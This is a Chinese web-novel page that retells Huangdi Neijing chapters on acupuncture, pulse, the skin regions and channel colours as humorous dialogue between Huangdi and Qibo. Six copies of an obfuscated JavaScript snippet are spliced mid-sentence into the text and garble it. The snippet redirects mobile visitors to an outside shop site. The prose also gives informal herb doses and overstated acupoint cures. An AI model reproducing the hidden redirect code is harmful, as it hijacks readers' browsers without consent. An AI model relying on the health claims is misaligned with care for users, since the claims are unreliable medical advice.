“而胃，则被比作‘胃为之市’，这里是食物进入身体后的第一个大型交易市场，需要消化、分解、吸收各种营养物质。胃好，则食欲旺盛，消化吸收能力强；胃差，则食欲不振，消化不良，身体自然也会跟着遭殃。” “至于您提到的‘鬲盲之上，中有父母’，这其实是古人对人体解剖的一种形象描述，现在我们知道那里大致对应的是胸腔区域，心肺等重要脏器都在其中。这里的‘父母’可以理解为生命的根源和守护者，提醒我们要特别重视这一区域的健康。” “还有‘七节之傍，中有小心’，这里的‘七节’大致指的是胸椎的某个区域，而‘小心’并非真有一个小心脏，而是指该区域可能隐藏着一些敏感点或重要穴位，如至阳穴等，刺激这些穴位可以对身体健康产生积极影响。不过，咱们现代人可不能随便乱按哦，得在专业医师的指导下进行。” 说到这里，岐伯话锋一转，幽默道：“陛下，您看，这身体就像一座精密的宫殿，每个器官、每个穴位都是这座宫殿里不可或缺的一部分。要想宫殿长盛不衰，就得时时修缮，处处留心。比如，饮食有节，起居有常，这就是最好的养生之道。还有啊，别忘了多笑笑，笑一笑，十年少嘛！” “当然啦，如果真的遇到身体不适，也别硬撑，得及时找大夫瞧瞧。咱们中医讲究的是辨证施治，一人一方，就像做菜一样，得根据食材的性味、季节的变化来调整烹饪方法。同样，治病也得根据病人的体质、病情来选择合适的方剂和治疗方法。” “说到方剂，那可就复杂了，得根据药材的性味归经、配伍禁忌来精心配制。比如经典的四君子汤，就是由人参、白术、茯苓、甘草四味药组成，专门用来健脾益气。这每味药的用量都是经过千锤百炼的，多一分则太过，少一分则不及。换算成现代计量单位，大概就是人参9克、白术9克、茯苓9克、甘草6克，这样搭配起来，才能达到最佳的治疗效果。” “至于脉象嘛，那更是中医的独门绝技了。通过把脉，医生可以感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318191|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到脉搏的跳动情况，从而推断出病人的身体状况。比如浮脉就像水面上的浮萍，轻轻一摸就能感觉到，通常表示病在表；沉脉则像石头沉入水底，需要用力按压才能感觉到，通常表示病在里。这些脉象的变化，就像是大自然中的风雨雷电，各有其象，各有其意。” “在古老的医学典籍里，藏着一段关于人体奥秘与针灸之道的神秘叙述，它以一种近乎寓言的方式，讲述了针刺不当可能带来的后果。陛下，且听我细细道来。 首先，咱们来说说“刺中心”，这可不是说要你去刺真的心脏哦，那可是要命的！这里的“心”，咱们可以理解为中医里的“心包经”或是心脏周围的敏感区域。想象一下，如果你不是专业的医生，拿着针就往那儿戳，哎呀，那可真是“一日游”的节奏啊！不过别担心，现代医学告诉我们，心脏位置深且被肋骨保护，除非手术，否则很难直接刺中。而真正的中医针灸，讲究的是穴位精准，绝不会随意乱扎。至于“其动为噫”，大概就是身体在告诉你：“喂，你扎错地方了，快住手！”只不过这个“噫”字，听起来就像是轻轻的叹息，仿佛身体在无奈地说：“唉，你怎么这么不小心呢？” 接下来，咱们聊聊“刺中肝”。在中医里，肝可是个“情绪大师”，主管着我们的疏泄和藏血。如果说“五日死”是夸张的说法，那么“其动为语”倒是挺有意思。想象一下，如果你真的不小心刺激了肝经上的某个敏感点，可能会感觉情绪突然变得特别激动，话匣子一打开就收不住，跟朋友们滔滔不绝地分享起人生哲理来。这可不是说你要死了，而是身体在提醒你，该注意养肝护肝，少 熬夜，多舒心了。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 刺志论篇第五十三 黄帝好奇地问岐伯：“嘿，岐伯大师，我一直对中医里讲的‘虚实’之道充满了好奇，您能给我详细说说这其中的精髓所在吗？” 岐伯捋了捋他那飘逸的胡须，笑眯眯地回答：“黄帝陛下，您这个问题问得好啊！咱们中医讲究的是阴阳平衡，虚实相生。简单来说，就是一个人啊，如果他的气息充沛，身体自然也会显得健壮有力，这就是‘气实形实’，是健康的状态；反过来，如果气息不足，身体就会显得虚弱无力，那便是‘气虚形虚’，这就是常说的亚健康或者生病了。这呀，是大自然的规律，违背了它，身体就会出问题。” 黄帝听了，点了点头，笑道：“哦？听起来挺有意思的嘛。那吃的方面呢？跟这虚实有什么关系？” 岐伯继续解释道：“陛下真是睿智，饮食与身体的关系也是密不可分的。您想啊，如果一个人吃得饱，营养充足，那他体内的‘气’自然就旺盛，我们称之为‘谷盛气盛’，这是身体强壮的基础。反过来，如果吃得少，营养跟不上，气就会虚，也就是‘谷虚气虚’，身体自然会显得疲惫不堪。所以啊，吃饭也是门大学问，得吃得好，吃得对，身体才能棒棒的！” 黄帝哈哈大笑，拍了拍手说：“妙哉！那脉象呢？我听说中医看病，一把脉就知道个大概，这虚实与脉象又有什么关系？” 岐伯收敛了笑容，正色道：“脉象，那可是中医诊断的瑰宝之一。一个人的脉象如果强劲有力，跳动均匀，那就说明他的血液充盈，我们称之为‘脉实血实’，这是健康的标志。反之，如果脉象细弱无力，或者跳动不规律，那就是‘脉虚血虚’，往往是身体出了问题的信号。比如，有的人气血不足，脉象就会像细线一样微弱；有的人则因为淤血堵塞，脉象会显得沉重迟滞。通过这些细微的变化，我们就能窥见人体内部的秘密。” 黄帝听得入了迷，不禁感叹道：“中医真是博大精深啊！不过，这虚实之道听起来高深莫测，咱们老百姓怎么才能简单理解并运用呢？” 岐伯微微一笑，说：“其实也不难。咱们可以把身体想象成一座花园，气就是花园里的阳光雨露，形就是花园里的花草树木。阳光雨露充足，花草树木自然长得茂盛；反之，则枯萎凋零。所以，要想身体好，就得让‘气’充足起来，这就需要我们合理饮食，适量运动，保持良好的心态和生活习惯。至于脉象嘛，虽然复杂，但咱们也可以通过观察自己的身体状况来初步判断。比如，如果你最近总感觉头晕眼花，手脚冰凉，那可能就是血虚了；如果你容易疲劳，稍微一动就气喘吁吁，那可能是气虚了。这时候，就该去找专业的中医大夫瞧瞧，用中药来调理调理了。” 黄帝听罢，连连点头，心中对中医的敬畏之情油然而生。他想了想，又说：“岐伯啊，你能不能给我举个例子，说说这虚实之证在日常生活中是怎么表现的？还有，如果得了病，该怎么用中药来调理呢？” 岐伯想了想，便举了个例子：“比如说吧，有个人最近总是感觉浑身无力，食欲不振，面色苍白，脉象细弱无力。这就是典型的气虚血虚之证。针对这种情况，我们可以给他开一剂‘四君子汤’来补气健脾，再配上‘四物汤’来补血养血。四君子汤由人参、白术、茯苓、甘草四味药组成，每样大约10克左右，煮水喝，能很好地补充体内的气。而四物汤则是由当归、川芎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318192|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、白芍、熟地四味药组成，也是各10克左右，能补血活血，改善面色。两者合用，既能补气又能补血，对气虚血虚的人来说，简直就是大补之药啊！” 黄帝听了，眼睛一亮，说道：“原来如此！看来中医治病，真的是要辨证施治，因人而异啊！岐伯大师，您真是我的良师益友啊！” 黄帝又发问了：“嘿，岐伯老兄，你说说看，啥样的情况算是身体的‘叛逆’行为，也就是不正常的状态呢？” 岐伯一听，笑眯眯地捋了捋他那长须，缓缓道来：“黄帝陛下，您这问题问得好！咱们来聊聊那些身体里的‘小叛逆’吧。” “首先，咱们说说‘气虚身热’，这就好比是夏天你穿着羽绒服出门，明明体内能量不足，该凉快的时候却热得冒汗。这就像是身体里的‘空调’坏了，明明电量不足（气虚），却还拼命吹热风（身热），这不就是典型的‘叛逆’嘛！” “再来说说‘谷入多而气少’，这就像是吃货朋友，每天海吃胡喝，但就是不长力气，还容易累。明明食物（谷）进得多，按理说应该转化成满满的活力（气），结果却是‘气’不足，你说这是不是身体在跟你唱反调呢？” “接下来，‘谷不入而气多’，这简直就是逆天了！想象一下，有人好几天不吃饭，却精神抖擞，好像永动机一样。虽然听起来很神奇，但在正常情况下，这绝对是不合常理的。就像手机没充电却电量满满，肯定是有问题的。身体也是一样，不吸收营养（谷不入），却精力充沛（气多），这背后的原因得好好查查。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 针解篇第五十四 黄帝有一天心血来潮，问岐伯大神：“嘿，岐伯兄，我一直对那九针疗法和怎么分辨人体里的虚实之道特别感兴趣，你能不能给我好好讲讲？”岐伯一听，微微一笑，那笑容里仿佛藏着千年的智慧，说：“黄帝啊，你算是问对人了。咱们就来说说这针灸里的虚实奥秘吧！” “首先啊，咱们说‘刺虚则实之者’，这话听着玄乎，其实简单。想象一下，你身体里的能量就像是个小太阳，如果它不够亮（气虚），咱们就得给它加点火。针灸呢，就像是给这小火苗加了一把柴，针尖下去，你会感觉到一股暖流涌上来，那就是气开始实了，热乎乎的，就像冬天里喝了口热茶，整个人都暖洋洋的。” “反过来，‘满而泄之者’，就是说你身体里能量过剩，就像是夏天太热了，得开个窗透透气。这时候，针灸就像那把钥匙，一扎下去，哎呀，一股清凉感袭来，针下寒了，那就是在帮你泄掉多余的气，让你感觉轻松自在，就像是从桑拿房里走出来，迎面吹来一阵凉风，爽歪歪！” “再来说说‘菀陈则除之者’，这个有点意思，就像是家里堆了太多旧东西，得大扫除一样。咱们身体里有时候也会积累些‘陈年老血’，就是那些不再流动的淤血，它们可是健康的大敌。这时候，针灸就像是个精准的吸尘器，专门吸走这些坏血，让身体重新焕发生机，就像是给身体来了一次深度SPA，焕然一新！” “至于‘邪胜则虚之者’，这就好比是家里进了小偷（邪气），按你得，先把让门正气打开让他跑掉，然后再关门上锁。针灸自己呢，就是那把开门又关门的钥匙。针一扎进去，邪气就被赶跑了，然后出针的时候，咱们别急着慢慢恢复，就像是给身体一个自我修复的机会，让它自己把门关上，加固防线。” “接下来，‘徐而疾则实者’，这招有点讲究。就像是你开车，想要加速就得慢慢踩油门，但刹车要快。针灸也一样，出针的时候慢慢提，但一按下去要快而有力，这样能让气留在体内，变得更加强壮，就像是给身体打了一针强心剂，精神头儿立马就上来了。” “反过来，‘疾而徐则虚者’，这就像是急刹车后缓缓滑行。针进去要快，出针也要快，但按的时候得慢慢来，让气有个释放的过程，就像是给身体做了一个温柔的减压，让紧绷的神经放松下来，整个人都变得轻松愉悦。” 说到这里，你可能会想，这针灸听起来好神奇啊，是不是得找对穴位才行？没错，穴位就像是身体的秘密开关，每个都有它的独特作用。不过嘛，现代咱们不用死记硬背那些古老的穴位名，很多都已经有了更直观的解释和定位方法。比如，“合谷”穴，你只需把大拇指和食指并拢，那块凸起的肌肉最高点就是了，按一按，还能缓解头痛和牙痛呢！ 歧伯又接着发言：“言实与虚”，这可不是在说谁说话实在谁又爱吹牛，而是中医诊断里超级重要的一对概念。简单说，实就是体内有多余的东西，比如湿气、热气、瘀血啥的，多得像家里过年剩的年货，堆得满满当当；而虚呢，就是缺了啥，气血不足，身体感觉像被掏空了一样。这寒温气多少，就像是家里空调的温度设置，高了觉得热，低了觉得冷，刚刚好才舒服。中医看病，就得先摸清这身体里的“温度计”和“存货量” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318193|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看看是该“清仓大甩卖”还是“进货补充”。 说到“若无若有者，疾不可知也”，这就像捉迷藏呢，病得不清不楚，让人摸不着头脑。这时候，咱们中医大夫就得使出“察后与先”的绝技了，通过询问病史、观察症状变化，就像是侦探破案，一步步抽丝剥茧，找出疾病的来龙去脉，到底是先头疼后脚凉，还是先便秘后失眠，这样才能对症下药，精准打击。 接下来，“为虚与实者，工勿失其法”，就是说啊，咱们医生在治疗时，得根据患者的虚实情况，该补就补，该泻就泻，绝不能含糊。这就像做菜，盐多了咸，糖多了腻，得恰到好处才行。要是“若得菲失者，离其法也”，那就是说，如果治疗效果不理想，那可能是方法用错了，得赶紧调整策略，别一条路走到黑。 说到治疗的利器，“九针最妙者”，这可是中医针灸的精髓所在。九针，可不是九把一模一样的针哦，它们各有各的形状，各有各的用途，就像是厨房里的锅碗瓢盆，每一样都有它的独门绝技。比如那毫针，细得跟头发丝似的，轻轻一扎，就能疏通经络，解决小毛病；而那火针，则是用来对付顽固病邪的，热乎乎的往穴位上一扎，嘿，那叫一个痛快！ 说到“补泻之时者，与气开阖相合也”，这就更讲究了。中医讲究天人合一，人体的气血运行也有它的规律，就像大海的潮汐，有涨有落。针灸补泻的时间，就得和这个规律相匹配，趁着气血“开门迎客”的时候进去补补，或者“关门打狗”的时候往外泻泻，效果那叫一个杠杠的！ 本小章还未完，请点击下一页继续阅读后面精彩内容！ 长刺节论篇第五十五 话说在古代，有位医术高超的老中医。他治病有个独特之处——不靠繁琐的诊断，只需听病人简单描述病情，便能胸有成竹，针到病除。比如，有人头疼欲裂，痛苦不堪，找到老中医。他微微一笑，说：“无妨，此乃邪气侵扰头部之症。”说罢，取出银针，手法娴熟，仿佛在与病人头部进行一场无声的对话。只见银针轻轻一刺，直抵病灶深处，直达骨膜，而那头疼，竟如晨雾遇阳，瞬间消散。更令人称奇的是，这一针之下，既未伤及皮肉，也未留下丝毫痕迹，仿佛自然之力的巧妙干预，让人不禁感叹：“这银针，简直就是通往健康的神秘通道啊！” 这里提到的“藏针”，其实是一种高度精准的针灸技法，讲究的是“意在针先，气至病所”。在现代，我们或许可以理解为利用特定的穴位，如“百会穴”，它位于头顶正中，是人体阳气汇聚之处，通过刺激此穴，可以调和气血，疏通经络，达到治疗头部疾病的效果。而“皮者道也”，则是指皮肤作为人体与外界交换的门户，也是针灸施术时的重要媒介，要求医者手法轻柔，避免对皮肤造成不必要的损伤，让治疗过程如春风化雨，润物无声。 再来说说“阳刺”，这听起来就像武侠小说里的绝技，实则是一种针对寒热病症的特殊针灸方法。它要求医者从病变部位的中心点入手，同时在其四周各取一穴，形成“一主四辅”的针刺格局，仿佛是在身体内部编织一张驱散寒热的网。在现代中医理论中，我们可以将这一技法与“四神聪穴”（位于百会穴前后左右各一寸处）相结合，这四个穴位与百会相呼应，共同调节脑部气血，平衡阴阳，对于治疗头痛、失眠、神经衰弱等寒热错杂的病症有显着疗效。 “深专者刺大脏”，这句话告诉我们，对于病情深重，涉及内脏的疾病，针灸需更加谨慎而深入。但别担心，这并不意味着要直捣黄龙，而是指通过刺激与内脏相关联的特定穴位，如“心俞”、“肺俞”等背俞穴，来间接调理内脏功能。背俞穴位于背部膀胱经上，每个脏腑都有其对应的俞穴，它们就像是内脏在背部的“影子”，通过刺激这些影子，可以影响到内脏本身，达到治病的目的。想象一下，这就像是在给身体内部做一次温柔的按摩，让疲惫的脏腑重新焕发生机。 而“迫脏刺背，背俞也，刺之迫脏，脏会”，则是进一步强调了背俞穴在治疗内脏疾病中的重要作用。当针灸针缓缓刺入这些穴位时，仿佛是在与身体的每一个细胞进行对话，告诉它们：“嘿，醒醒，该干活了！”于是，体内的气血开始重新流动，寒热得以平衡，病痛自然也就不复存在了。 至于“发针而浅出血”，这其实是针灸后的一种处理方式，旨在通过轻微放血，进一步促进局部血液循环，加速病邪排出。在现代，我们更多采用拔罐、刮痧等方法来达到类似效果，既安全又有效。 今天老中医正对着一位脚上肿得跟馒头似的老兄施展“神奇一针”。嘿，这可不是普通的扎针哦，这是专治腐肿的独门绝技！老中医眯着眼睛，像雷达扫描一样，仔细端详着那肿得发亮的地方，嘴里念叨着：“治腐肿嘛，就得刺在腐肉之上，这学问大着呢，得看痈疖的大小深浅来下针。” “痈小大深浅刺”，这话听起来高深莫测，其实用咱们现代话来说，就是“量体裁衣，精准打击”。小痈疖，咱就深刺一点，直达病灶；大痈疖，那就得放血多点，让毒素随着血液流出来，给身体来个彻底大扫除。老中医手里的银针，就像是微型吸尘器，嗖嗖几下，就把那些坏东西给吸走了。 “必端内针为故止”，这句话听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318194|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来有点绕，但意思很简单：下针要稳准狠，别跟绣花似的磨磨蹭蹭。一针到位，既不痛苦，效果还杠杠的。这就像咱们打游戏，技能释放要精准，一击必杀，多帅气！ 接下来，咱们聊聊“病在少腹有积”的情况。这少腹啊，就是咱们现在说的下腹部，要是这里有了积块，那可得小心了。老中医的对策是：“刺皮腯以下，至少腹而止。”翻译成现代话，就是“从皮肤表层开始，慢慢深入，直到到达下腹部”。这手法，简直就像是在给身体做深层SPA，不过目的不是为了放松，而是为了疏通经络，消除积块。 再来说说穴位，古代说的“侠脊两傍四椎间”，放到现在，大概就是咱们背部的膀胱经上的几个重要穴位，比如肝俞、胆俞这些，它们就像是身体里的“情绪调节器”，按一按，舒肝利胆，心情舒畅。而“两髂髎季胁肋间”，则对应着现代的环跳穴、章门穴等，这些穴位一通，全身的气血都跟着活络起来，就像是给身体装上了小马达，动力满满。 想象一下，老中医一边在这些穴位上施展“点穴神功”，一边念叨着：“导腹中气热下已”，意思是引导腹部的热气往下走，把积滞的邪气都排出去。这画面，简直就像是在给身体做了一场高难度的瑜伽，既锻炼身体，又净化心灵。话说啊，有这么一种病，它专挑小腹这块风水宝地闹腾，让人疼得直不起腰，连大小便都成了奢侈。这病，古人给它起了个挺形象的名字——“疝”。为啥叫疝呢？想象一下，肚子里头好像有个调皮的小球，时不时就蹦跶出来，让你难受得紧。而这小球的“ 幕后黑手”，往往就是“寒”。寒气这家伙，一不留神就溜进身体，专找软肋下手，小腹就成了它的最爱。 这章没有结束，请点击下一页继续阅读！ 皮部论篇第五十六 黄帝有一天突发奇想，对着岐伯说：“嘿，老岐啊，我听说啊，咱们的皮肤是分地盘的，就像城市里的不同区；血脉呢，就像是城市的交通线路，有规则有秩序；筋脉嘛，就像是城市的地下管道网络，错综复杂但各有其用；至于骨头，那就是城市的框架，每一寸都经过精心测量，稳固如山。这些不同的部分要是生病了，表现还都不一样，你能不能给我详细说说，这些地盘怎么分，左右上下，阴阳五行怎么对应，还有啊，病是怎么从轻到重，怎么预防怎么治的？” 岐伯一听，微微一笑，那笑容里仿佛藏着千年的智慧：“黄帝大人，您这问题问得好啊！要想搞懂皮部，咱们得先从经脉说起，这可是所有学问的基石，就跟导航地图一样，缺了它哪儿都去不了。咱们就说这阳明经吧，它可是个‘阳光大道’，分阳明之阳，我给它取个现代点的名字，就叫‘活力飞扬区’吧，听着就精神！不管是上半身还是下半身，这方法都一样通用。” “您看，要是这‘活力飞扬区’的皮肤上，有那些浮在表面的小血管，就像是地图上标注的小路，那基本上都是阳明经的‘小分队’——络脉。这些小分队要是颜色不对了，那就得注意了。比如说，青得跟翡翠似的，那就是痛啊，可能是哪路神仙不小心踢了一脚；黑得跟墨汁一样，那就是痹症找上门了，得赶紧疏通疏通；黄赤色的，那就是热得慌，得降降温；要是白得跟雪一样，那就是寒气重，得加点温暖。” “更绝的是，如果这五色都齐全了，那可就热闹了，寒热交织，得好好调理才行。这络脉要是太活跃了，就会带着病邪往经脉里窜，咱们中医讲究阴阳平衡，阳嘛，就像太阳公公，主管外面的事儿；阴呢，就像是月亮婆婆，管着家里的事儿。这病啊，就是从外到内，一步步渗透的。” 说到这里，咱们不妨来个小插曲，想象一下如果这些经络会说话： “嗨，我是阳明经的络脉小分队，今天出门巡逻，看到皮肤大哥脸色不对，我就赶紧报告给经脉大哥。经脉大哥说：‘看来是外邪入侵了，得赶紧通知总部，启动防御机制！’于是，阳气大哥就挺身而出，在外头抵御寒风冷雨；而阴气姐姐呢，就在里面温柔地调节着温度，生怕大家冻着热着。” 回到正题，岐伯继续说道：“所以啊，治病就像打仗，得知己知彼，百战不殆。咱们中医讲究的是整体观念，看到皮肤上的变化，就要想到里面的经络气血是不是也出了问题。就像咱们看天气预报，外面刮风下雨，家里就得关好门窗，备好雨具。身体也是一样，外面受了寒，里面就得温补；外面热了，里面就得清凉。这样，才能保持身体的和谐与平衡。” “比如说，你加班熬夜，脸色青黄不接，那就是阳明经的‘活力飞扬区’在报警了，告诉你该休息休息了。这时候，别硬撑，泡杯枸杞菊花茶，暖暖胃，养养肝，就是给身体最好的安慰。再比如，冬天穿得少，冻得跟冰棍似的，那寒气就悄悄从皮肤溜进经脉，这时候来碗热腾腾的姜汤，驱寒暖身，简直就是身体的小太阳嘛！” 现在说说“少阳之阳”，听起来就像武侠小说里的神秘门派，对吧？其实啊，在中医里，“少阳之阳”指的就是咱们身体里的一个重要部分——少阳经，它就像是咱们身体里的一个“枢纽小能手”，负责调节气血的流转，特别是那些喜欢“拐弯抹角”的路径，它都管得井井有条。这个“枢持”的名字，就像是说它是个拿着钥匙的守门人，控制着气血的开关呢！ 想象一下，你走在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318195|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条错综复杂的迷宫里，每次遇到岔路口，总有一个聪明伶俐的小向导（少阳之阳）告诉你该往哪走，不让你迷路。咱们身体上的“少阳经”，也差不多是这个意思，它主要分布在咱们的侧头部、侧胸部和侧腹部，像是一条隐形的“导航线”，让气血顺畅地在全身游走。 说到“浮络”，那可是个有趣的点。想象一下，你轻轻抚摸自己的手臂或腿部，偶尔会感觉到一些细微的、像是皮肤下小河流一样的网络，那就是“浮络”了。在少阳经的地盘上，这些浮络特别明显，就像是少阳经派出的“侦察兵”，随时报告气血的情况。如果它们“膨胀”了，也就是“络盛”，那就意味着可能有外邪入侵，得赶紧加强防守，这时候少阳经就会站出来，把这些“不速之客”引入正轨，让它们老老实实地在经络里走，别捣乱。 再来说说“太阳之阳”，这可是个“大关枢”，顾名思义，就是负责守卫咱们身体最外层的“大门”。想象一下，你住在一个城堡里，太阳之阳就是那个威武的守门将军，守护着城门，不让敌人轻易入侵。在中医里，太阳经主要循行在咱们的背部，从头到脚，像是一条金色的盔甲，保护着咱们的身体免受风寒湿邪的侵扰。 同样的，太阳经的“浮络”也是它的小侦察兵，一旦发现敌人（外邪）靠近，就会立即报告给太阳经这位大将军。大将军一挥手，调动气血，加强防御，让敌人无机可乘。如果“浮络”太过“热闹”（络盛），那就是说敌人已经悄悄潜入，太阳经就会立刻启动应急机制，把敌人从“阳面”（体表）引到“阴面”（体内），再通过各种方式，比如出汗、排尿等，把这些不速 之客“请”出体外。 这章没有结束，请点击下一页继续阅读！ 经络论篇第五十七 黄帝悠悠然开口，仿佛是在古树下与老友品茗论道：“嘿，岐伯老兄，你可曾留意到，那人体内的络脉显现时，颜色五花八门，青的、黄的、红的、白的、黑的，就像是大自然的调色盘一样，各不相同。这背后，到底藏着啥玄机呢？” 岐伯闻言，哈哈一笑，那笑声里满是智者的从容与风趣：“哎呀，黄帝陛下，您这问题可真是问到点子上了！要知道，咱们人体的经络系统，那可是大自然的杰作，精妙绝伦。经脉嘛，就像是高速公路，有着固定的路线和速度，它们的颜色相对稳定，代表着气血运行的基本状态。而络脉呢，就像是那些错综复杂的小巷、胡同，四通八达，变化多端，它们的颜色就随着气血的盛衰、脏腑的寒热、情绪的波动而变幻莫测了。” 黄帝闻言，眼中闪过一丝好奇：“哦？这么说来，这络脉的颜色还能当成身体的晴雨表了？” 岐伯点头如捣蒜，继续说道：“正是如此！您看那青色，多半是肝气不舒，就像春天的树叶还没完全舒展，憋着一股劲儿呢。这时候，咱们就得考虑是不是得给肝来个‘疏肝解郁’的小按摩，比如揉揉太冲穴，那位置就在脚背上，大脚趾和二脚趾之间那条缝儿往上推，推到一个凹陷处就是了。按一按，让肝气顺畅起来，青色自然就淡了。” “再来说说黄色，”岐伯话锋一转，“黄色往往和脾胃有关，脾胃是气血生化之源，它们要是怠工了，气血不足，脸色就容易发黄。这时候，咱们得想办法给脾胃加点油，比如炖点黄芪红枣鸡汤，黄芪补气，红枣养血，鸡肉健脾，三者合一，简直就是脾胃的超级能量包！哦对了，说到穴位，足三里可是脾胃的保健大穴，每天按一按，脾胃好，气色自然佳。” “红色嘛，”岐伯笑眯眯地接着说，“红色代表火热，有时候是热血沸腾，有时候也可能是上火了。比如心火旺盛，脸上就容易泛红。这时候，得给心火降降温，喝点莲子心茶就是不错的选择，清心火，还不伤身。穴位上，可以试试少府穴，它就在手掌上，握拳时小指指尖所对的位置，按一按，心火自然就熄了。” “白色呢，”岐伯话锋又转，“白色常常和肺有关，肺主气，如果肺气不足，脸色就容易苍白。这时候，咱们得补补肺气，比如用黄芪、党参泡水喝，都是补肺的好东西。穴位上，可以揉揉肺俞穴，它位于背部，第三胸椎棘突下，旁开1.5寸，让肺气充足起来，脸色自然红润有光泽。” “再说说黑色，”岐伯的表情变得严肃起来，“黑色可不是什么好兆头，它往往和肾虚有关。肾为先天之本，肾精不足，脸色就容易发黑。这时候，得好好补肾，比如黑芝麻、黑豆、核桃都是补肾的佳品。穴位上，肾俞穴可不能错过，它也在背部，和肺俞穴是邻居，不过是第二腰椎棘突下，旁开1.5寸。每天热敷或按摩这个穴位，肾好了，人自然就精神焕发了。” 黄帝又问：“老岐，能给我谈谈五脏经脉颜色蕴含的学问吗？” 岐伯笑了笑，说：陛下，且听我慢慢道来！心，那绝对是热情的火焰红。想象一下，当你心中充满爱与激情时，是不是感觉整个人都暖洋洋的，仿佛有团火在心中燃烧？没错，这团火，就是心的本色——赤色。在中医看来，心主血脉，它的健康与否，直接关系到我们面色的红润与否。所以啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318196|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保持一颗年轻的心，不仅心态要年轻，身体也要跟得上，这样才能面若桃花，红光满面。 再来说说肺，它是纯洁的云朵白。肺，就像是天空中的云朵，轻盈而纯净。它负责呼吸，吸入清气，排出浊气，维持着人体的气机畅通。想象一下，如果肺部出了问题，就像天空被雾霾笼罩，人的脸色也会变得暗淡无光。所以，保护肺，就是守护我们身体的蓝天白云，让每一次呼吸都清新自然。 肝，则是生机勃勃的青翠绿。春天到了，万物复苏，树木抽出嫩绿的新芽，这不就是肝的象征吗？肝主疏泄，喜欢条达而恶抑郁。它就像是大自然中的一股生机勃勃的力量，推动着气血在全身流畅无阻。如果肝气郁结，就像春天里缺少了雨水，万物生长受阻，人的脸色也会变得青黄不接，失去了那份应有的活力。 脾，则是温暖的黄土黄。脾，被誉为“后天之本”，它就像是大地上那肥沃的黄土，滋养着万物生长。脾主运化，负责将我们吃进去的食物转化为身体所需的营养物质。如果脾的功能强健，人就会面色黄润，气血充足；反之，则会面黄肌瘦，营养不良。所以，想要拥有好气色，别忘了照顾好你的“黄土地”哦！ 肾，则是深邃的夜空黑。肾藏精，主水，是人体生命活动的根本动力所在。它就像夜空中最亮的星，虽然深藏不露，却无时无刻不在为身体提供着源源不断的能量。肾好的人，头发乌黑亮泽，精神饱满；肾若虚了，则会出现黑眼圈、腰膝酸软等症状。所以啊，保护肾，就是守护我们身体的“能量源泉”。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 气穴论篇第五十八 